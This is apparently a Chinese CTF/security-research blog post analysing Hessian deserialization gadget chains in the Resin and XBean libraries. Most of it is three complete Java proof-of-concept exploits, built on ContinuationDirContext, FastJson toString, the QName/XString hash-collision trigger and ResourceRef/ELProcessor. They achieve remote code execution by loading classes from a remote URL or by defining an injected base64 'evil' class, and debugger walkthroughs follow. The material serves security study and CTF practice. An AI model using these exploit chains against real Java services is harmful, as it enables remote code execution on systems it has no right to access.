May 18, 2023

Resin&&XBean反序列化利用链学习

参考

一、Resin

先引入一下依赖,如下。在Java中,Resin是一个轻量级的、高性能的开源Java应用服务器。它是由Caucho Technology开发的,旨在提供可靠的Web应用程序和服务的运行环境。和Tomcat一样是个服务器,它和hessian在一个group里,所以有一定的联系

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>resin</artifactId>
<version>4.0.64</version>
</dependency>
</dependencies>

网上参考文章比较少,也没完整的payload,因此需要自己手动构造,小挑战。

ContinuationDirContext+FastJson利用链

这一点其实之前的文章
从RMI到JNDI注入
这里讲的JNDI中,都使用了一个类ResourceRef,而这里我们同样也可以触发这个类的方法,因为这条链后半部分是和上述文章完全一致的,但有一点我们需要事先知道,这是基于Hessian的,Hessian不需要类实现serializable接口,因此才可以实现反序列化的流程。
POC信息如下,我先把我写好的payload丢这

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
package com.example.resinchain;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.reflect.ReflectionFactory;
import com.alibaba.fastjson.JSONObject;
import javax.naming.CannotProceedException;
import javax.naming.Reference;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class App {
public static void main(String[] args) throws Exception {
//URLCLASSLOADER RCE
Reference refObj=new Reference("evilref","evilref","http://localhost:8000/");
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();

cpe.setResolvedObj(refObj);
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());

// jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();
JSONObject jsonObject = new JSONObject();
jsonObject.put("boogipop",ctx);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(jsonObject);
out.flushBuffer();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
//String ret = Base64.getEncoder().encodeToString(baos.toByteArray());
//System.out.println(ret);

}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

运行该payload即可弹出计算机完成RCE
image.png
(就说怎么感觉我的IDEA变怪了。原来是背景图没了())

  • 5.16 累麻了,今天在岗上写了30份没意义的报告(好像不是我的活吧)歇了

调试分析

在我们上述POC里,触发点应该算是FastJson的toString了,这会调用getter,具体是ContinuationContext#getTargetContext(Name name)方法。我们在此下断点分析即可(ContinuationContext是ContinuationDirContext的父类)
image.png
会进入NamingManager.getContext方法,而参数里的cpe使我们恶意构造过的。三个参数分别如下。
image.png
obj是一个恶意的ref,随之就会调用getObjectInstance方法
image.png
往下接着触发,获取引用工厂factory
image.png
在这里面会进行任意类加载,所以导致了RCE
image.png
image.png
最后你可以发现是用URLCLASSLOADER进行的加载
image.png
最后newInstance RCE
image.png

Obj怎么来的

我们构造大量花费在cpe这个对象上,可调试把他一笔忽略了,它的逻辑是这样
image.png
在cpe里获取3个内容obj、name、altname、altnamectx
image.png
image.png
image.png

toString+Qname

触发toString的方法亦有不同,经典组合拳Hotswapeer+Xstring或者HashMap+Xstring或者HashTable之类的。这里就以HashTable被ban的情况下来写
先说HashMap的,这个需要做一些有关hashcode的处理,对CC熟悉一点的都知道hashmap触发equals是有些条件的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
package com.example.resinchain;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import sun.reflect.ReflectionFactory;
import com.alibaba.fastjson.JSONObject;
import javax.naming.CannotProceedException;
import javax.naming.Reference;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class XstringChain {
public static void main(String[] args) throws Exception {
Reference refObj=new Reference("evilref","evilref","http://localhost:8000/");
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();

cpe.setResolvedObj(refObj);
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
QName qName = new QName(ctx, "boo", "gii");
String unhash = unhash(qName.hashCode());
XString xString = new XString(unhash);
HashMap<Object, Object> map = makeMap(qName, xString);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(map);
out.flushBuffer();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
//String ret = Base64.getEncoder().encodeToString(baos.toByteArray());
//System.out.println(ret);

}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}

unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;

if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
}

unhash的目的是为了绕过hashmap的hashcode判断,进入equals,这个链不是通过hashmap的readobject触发,之前讲Hessian我们说过Hessian反序列化的流程里面会触发hashmap的put方法,那么就会调用hashcode或者是equals。

unhash

image.png
unhash就是为了绕过这里的哈希判断,在这之后触发xstring的equals方法
image.png
触发到了Qname的toString方法。
image.png
调用ContinuationContext.composeName方法
image.png
getTargetContext();后就是第一条链一样的流程了
image.png

ResouceRef+ELProccessor RCE 利用链

上述是通过远程类加载完成的。我们可不可以直接动态执行指令呢,回顾
从RMI到JNDI注入
这里面提到一种EL表达式动态执行指令的方式,但是条件是tomcat的版本在9.x以下,选用8最为稳定。POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
package com.example.resinchain;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import org.apache.naming.ResourceRef;
import sun.reflect.ReflectionFactory;
import com.alibaba.fastjson.JSONObject;
import javax.naming.CannotProceedException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class ELProcessChain {
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("E:\\CTFLearning\\Java\\ResinChain\\target\\classes\\com\\example\\resinchain\\evil.class"));
String s1 = Base64.getEncoder().encodeToString(bytes);
System.out.println(s1);
String x = "var str='"+s1+"';var Thread = Java.type('java.lang.Thread');var tt=Thread.currentThread().getContextClassLoader();var b64 = Java.type('sun.misc.BASE64Decoder');var b=new b64().decodeBuffer(str);var byteArray = Java.type('byte[]');var int = Java.type('int');var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass',byteArray.class,int.class,int.class);defineClassMethod.setAccessible(true);var cc = defineClassMethod.invoke(tt,b,0,b.length);cc.newInstance();";
//String x = "java.lang.Runtime.getRuntime().exec(\\\"calc\\\")";
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "pupi1=eval"));
resourceRef.add(new StringRefAddr("pupi1", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\""+ x +"\")"));
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();

cpe.setResolvedObj(resourceRef);
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());

// jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();
JSONObject jsonObject = new JSONObject();
jsonObject.put("boogipop",ctx);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(jsonObject);
out.flushBuffer();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
//String ret = Base64.getEncoder().encodeToString(baos.toByteArray());
//System.out.println(ret);

}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}

unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;

if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
}

出了点小错误不过问题不大。
用的仍然是BeanFactory那一套eval组合拳
image.png
从这一步开始看,进入入口getObjectFactoryFromReference
image.png
实例化BeanFactory返回
image.png
调用BeanFactory的getObjectInstance函数
image.png
反射RCE
image.png

D3CTF-ezjava

这一题就是用到了上述的FastJson打法。具体WP请参考

二、Xbean

这里我直接搬su18师傅的文章了()因为几乎一模一样
XBean 这条链几乎是与 Resin 一模一样,只不过是在 XBean 中找到了类似功能的实现。
首先还是用 XString 触发 ContextUtil.ReadOnlyBinding 的 toString 方法(实际继承 javax.naming.Binding),toString 方法调用 getObject 方法获取对象。
image.png
调用 ContextUtil#resolve 方法。
image.png
方法调用 NamingManager#getObjectInstance 方法,后续触发逻辑一致,从远程加载恶意类字节码。
image.png
成功弹出计算器。
image.png
打法一致的。就不继续说了

三、总结

这2种打法几乎被人遗忘,因为有个重要的getter所以需要注意一下,就是ContinuationContext#getTargetContext(Name name),getter gadget再添一员
WG8_%%%_9OU(9NI6Q6)376P.jpg

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CTF